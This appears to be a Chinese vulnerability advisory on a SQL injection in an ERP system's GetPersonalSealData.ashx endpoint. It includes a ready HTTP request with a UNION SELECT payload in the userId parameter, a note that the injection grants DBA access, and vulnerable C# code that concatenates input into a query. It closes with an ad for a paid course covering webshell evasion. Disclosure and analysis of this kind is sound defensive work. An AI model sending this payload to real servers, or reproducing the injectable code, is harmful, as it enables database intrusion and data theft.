01閱讀須知
此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他方面
02漏洞背景
某邦一體化ERP將企業物流、資金流、信息流等所有資源整合在一起,對銷售、采購、生產、成本、庫存、分銷、運輸、財務、人力資源進行規劃,在一套系統內解決企業所有的管理問題,數據實時共享,全程監控各個環節的運轉和協作,讓企業最大限度利用現有資源取得最佳經濟效益。國際是一體化ERP十大品牌,專注于企業數智化轉型20多年,一體化ERP全面產品線,該ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。
03漏洞復現
近日外部渠爆出該系統存在SQL漏洞,參數userId存在SQL注入漏洞,具體的數據包如下
GET?/SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version--?HTTP/1.1
Host:?
User-Agent:?Mozilla/4.0?(compatible;?MSIE?8.0;?Windows?NT?6.1)
Accept:?*
Connection:?Keep-Alive
該注入點支持使用多種注入技術進行測試,包括布爾盲注、堆疊查詢、基于時間的盲注和 UNION 查詢。如下圖所示。
堆疊查詢使用 DECLARE 和 WAITFOR DELAY 語句,測試注入點是否可以執行多個SQL查詢,返回后臺數據庫版本是 Microsoft SQL Server 2008,并且當前用戶具有 DBA(數據庫管理員)權限。
04漏洞分析
GetPersonal****.ashx 文件中存在不安全的 SQL 查詢處理,會直接將傳入的 userId 參數拼接到 SQL 查詢字符串中,從而導致 SQL 注入漏洞。具體代碼如下所示。
using?System;
using?System.Data;
using?System.Data.SqlClient;
using?System.Web;public?class?GetPersonalSealData?:?IHttpHandler
{public?void?ProcessRequest(HttpContext?context){//?獲取請求參數string?imageDate?=?context.Request.QueryString["imageDate"];string?userId?=?context.Request.QueryString["userId"];string?query?=?"SELECT?*?FROM?PersonalSealData?WHERE?ImageDate?=?@imageDate?AND?UserId?=?"?+?userId;}public?bool?IsReusable{get?{?return?false;?}}
}
從?QueryString?中獲取?imageDate?和?userId?參數,使用字符串拼接構建 SQL 查詢,直接將?userId?參數包含在查詢字符串中,導致 SQL 注入漏洞。
05.NET安全星球
星球匯聚了各行業安全攻防技術大咖,并且每日分享.NET安全技術干貨以及交流解答各類技術等問題,社區中發布很多高質量的.NET安全資源,可以說市面上很少見,都是干貨。
20+個專題欄目涵蓋了點、線、面、體等知識面,助力師傅們快速成長!其中主題包括.NET Tricks、漏洞分析、內存馬、代碼審計、預編譯、反序列化、webshell免殺、命令執行、C#工具庫等等。
我們傾力打造專刊、視頻等配套學習資源,循序漸進的方式引導加深安全攻防技術提高以及崗位內推等等服務。